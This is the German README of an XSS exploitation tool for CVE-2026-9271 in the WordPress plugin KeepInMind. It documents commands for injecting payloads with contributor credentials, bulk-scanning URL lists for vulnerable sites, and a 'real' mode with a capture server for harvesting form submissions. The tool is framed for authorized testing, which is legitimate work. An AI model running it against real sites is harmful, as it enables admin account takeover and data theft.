[!IMPORTANT]
Nur für autorisierte Nutzung. Dieses Tool dient der Sicherheitsforschung, Bildung und dem Testen von Systemen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Überprüfung haben. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
Inhaltsverzeichnis
Übersicht
CVE-2026-9271 ist ein gespeichertes Cross-Site-Scripting (XSS) Problem im WordPress-Plugin KeepInMind (Dashboard Notes). Unzureichende Bereinigung von Notizeninhalten ermöglicht es einem niedrig privilegierten authentifizierten Benutzer (Contributor+), HTML/JS zu speichern, das im Browser eines Administrators ausgeführt wird, was zu einer Kompromittierung der Admin-Sitzung / Kontolibernahme führen kann.
KIM-Guardian Pro (CVE-2026-9271.py) ist ein Python-Bewertungstool für autorisierte Tester, um:
- KeepInMind-Installationen und Versionsbereiche zu erkennen
- Eine sichere Testmodus-Bewertung durchzuführen (Overlay-Marker, kein Credential-Capture)
- URL-Listen massenweise auf Plugin-Präsenz und verwundbare Versionen zu scannen
- Ergebnisse in SQLite und Textberichten unter
reports/ zu speichern
- Optional einen lokalen Capture-Server / Web-UI für kontrollierte Laborsimulationen zu betreiben
Schwachstellendetails
Relevante Oberflächen
| Oberfläche | Rolle |
|---|
/wp-json/keepinmind/v1/notes | REST-API zum Erstellen/Lesen von Notizen |
/wp-admin/ | Admin-Dashboard, in dem gespeicherte Notizen gerendert werden können |
| Plugin-Pfad | /wp-content/plugins/keepinmind-dashboard-notes/ |
Bewertungsablauf (hohe Ebene)
- Als Contributor+-Benutzer authentifizieren (wenn Anmeldedaten bereitgestellt werden)
- Bestätigen, dass KeepInMind installiert ist, und WordPress-/Plugin-Versionen aufzeichnen
- Ein Test-Payload über die Notizen-REST-API injizieren (Standard)
- Überprüfen, ob der Marker erscheint, wo Notizen gerendert werden
- Injizierte Notizen bereinigen (außer bei
--no-cleanup)
- Bewertungsmetadaten in SQLite und einem Textbericht speichern
Funktionen
Kernfähigkeiten
Betriebliche Steuerungen
| Fähigkeit | Beschreibung |
|---|
| Ausführliche Protokollierung | Datei- + Konsolen-Debug unter logs/ |
| Proxy-Unterstützung | Verkehr über Burp oder andere HTTP-Proxys leiten |
| Konfigurierbares Timeout | Timeout pro Anfrage (Standard 30s) |
Installation
Voraussetzungen
- Python 3.8+
pip
- Netzwerkerreichbarkeit zu autorisierten Ziel(en)
Einrichtung
cd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Empfohlene Extras, die von diesem Skript verwendet werden:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
Kernabhängigkeiten
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — nur Web-Modus
Schnellstart
Ersetzen Sie https://lab.example durch ein Labor- oder autorisiertes Ziel.
# Hilfe / Modi
python3 CVE-2026-9271.py --help
# Sichere Einzelzielbewertung (Standard: Test-Payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Massen-Versions-/Plugin-Scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# Letzte Bewertungen aus SQLite auflisten
python3 CVE-2026-9271.py db --list --limit 20
# Lokaler Capture-Server (nur Labor)
python3 CVE-2026-9271.py capture --port 5000
# Optionales Web-UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Nutzungshandbuch
1. Hilfe anzeigen
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
2. Sichere Bewertung (empfohlen)
Der Standardmodus verwendet ein nicht erfassendes Test-Overlay. Geben Sie Contributor+-Anmeldedaten für die Injektion über die REST-API an.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
Ablauf:
- Banner drucken und eine eindeutige Payload-ID erstellen
- Authentifizieren (falls
-u / -p angegeben)
- KeepInMind + WordPress-Versionen erkennen
- Den sicheren Test-Marker injizieren und verifizieren
- Notizen bereinigen (außer bei
--no-cleanup)
- Ergebnis in DB +
reports/kim_assessment_*.txt speichern
3. Bereinigung überspringen
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
4. Proxy + Timeout
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
5. Labor-Angriffssimulation (nur autorisierte Umgebungen)
Erfordert eine Angreifer-/Capture-Basis-URL und --real. Bevorzugt Capture auf localhost für Labore behalten.
# Terminal 1 — Capture-Listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — Bewertung mit Capture-Endpunkt
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
Capture-UI (wenn Server läuft):
| Pfad | Zweck |
|---|
/ | Capture-Server-Statusseite |
/capture | POST-Endpunkt für Formularübermittlungen |
/captured | Kürzlich erfasste Einträge (Labor-Überprüfung) |
6. Massen-Scan
# targets.txt — eine URL pro Zeile
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Oder kommagetrennte URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
Massenprüfungen umfassen typischerweise WordPress-Hinweise, KeepInMind-Version, REST-Erreichbarkeit und Vorhandensein von wp-login.php.
7. Datenbankverlauf
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
8. Weboberfläche
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Aus Sicherheitsgründen standardmäßig an localhost binden.
Befehlsreferenz
Global
assess
bulk
capture
| Argument | Standard | Beschreibung |
|---|
--port | 5000 | Lauschport |
web
| Argument | Standard | Beschreibung |
|---|
--host | 127.0.0.1 | Bindungsadresse |
--port | 8080 | Lauschport |
db
| Argument | Standard | Beschreibung |
|---|
--list | aus | Letzte Bewertungen auflisten |
--limit | 10 | Maximale Anzahl anzuzeigender Zeilen |
Ausgabe & Berichterstattung
Konsole
Farbcodierter Status für Authentifizierung, Plugin-Erkennung, Injektion, Verifizierung und Bereinigung.
Textberichte
Erfolgreiche assess-Läufe schreiben Dateien wie:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
SQLite
| Datei | Zweck |
|---|
kim_guardian.db | Bewertungsverlauf (Ziel, Versionen, Schwachstellen-Flag, Risiko, Dauer) |
Logs
| Pfad | Zweck |
|---|
logs/kim_pro_*.log | Anwendungslogs pro Lauf |
Massenberichtsfelder
- URL
- WordPress-Version
- Plugin-Version
- Verwundbar (ja/nein basierend auf Versionsheuristik)
- REST erreichbar
- WP-Login erreichbar
Fehlerbehebung
Debug-Workflow
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
Repository-Struktur
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
├── kim_guardian.db # SQLite-Bewertungsverlauf (generiert)
├── logs/ # Laufzeitlogs (generiert)
├── reports/ # Bewertungstextberichte (generiert)
└── venv/ # Lokales Virtualenv (optional)
Versionsgeschichte
v1.0.0 — Erste Veröffentlichung
- Einzelziel-KeepInMind-Bewertung für CVE-2026-9271
- Sicheres Test-Payload (Standard) und optionale Labor-Capture-Simulation
- Plugin-/WordPress-Versionserkennung
- REST-Notiz-Injektion, -Verifizierung und -Bereinigung
- Massen-Scanning mit mehreren Threads
- SQLite-Persistenz + Textberichte
- Capture-Server und optionales Flask-Web-UI
- Proxy-, Timeout- und ausführliche Protokollierungsunterstützung
Haftungsausschluss
Dieses Projekt wird wie besehen für defensive Sicherheitsforschung und autorisierte Penetrationstests bereitgestellt.
Durch die Nutzung dieser Software stimmen Sie Folgendem zu:
- Sie werden nur Systeme angreifen, die Sie besitzen oder für die Sie ausdrücklich zur Prüfung autorisiert sind.
- Sie verstehen die geltenden Gesetze zu Computerbetrug und Datenschutz.
- Der Autor und die Mitwirkenden sind nicht verantwortlich für Schäden, Datenverluste oder rechtliche Konsequenzen aus Missbrauch.
Wenn Sie dieses Problem in Produktionssystemen finden, die Ihnen nicht gehören, befolgen Sie die verantwortungsvolle Offenlegung gegenüber dem Seitenbetreiber und dem Plugin-Maintainer.
Unbefugter Zugriff auf Computersysteme ist illegal.
Autor & Danksagungen
Lizenz
Nur für pädagogische / defensive Nutzung
Copyright (c) 2026 Sudeepa Wanigarathna
Die Erlaubnis wird erteilt, diese Software für autorisierte Sicherheitsforschung,
Bildung und defensive Bewertung zu verwenden.
DIE SOFTWARE WIRD "WIE BESEHEN" BEREITGESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER
IMPLIZITE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE
GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND
DER NICHTVERLETZUNG VON RECHTEN DRITTER.
Nur für autorisierte Sicherheitstests.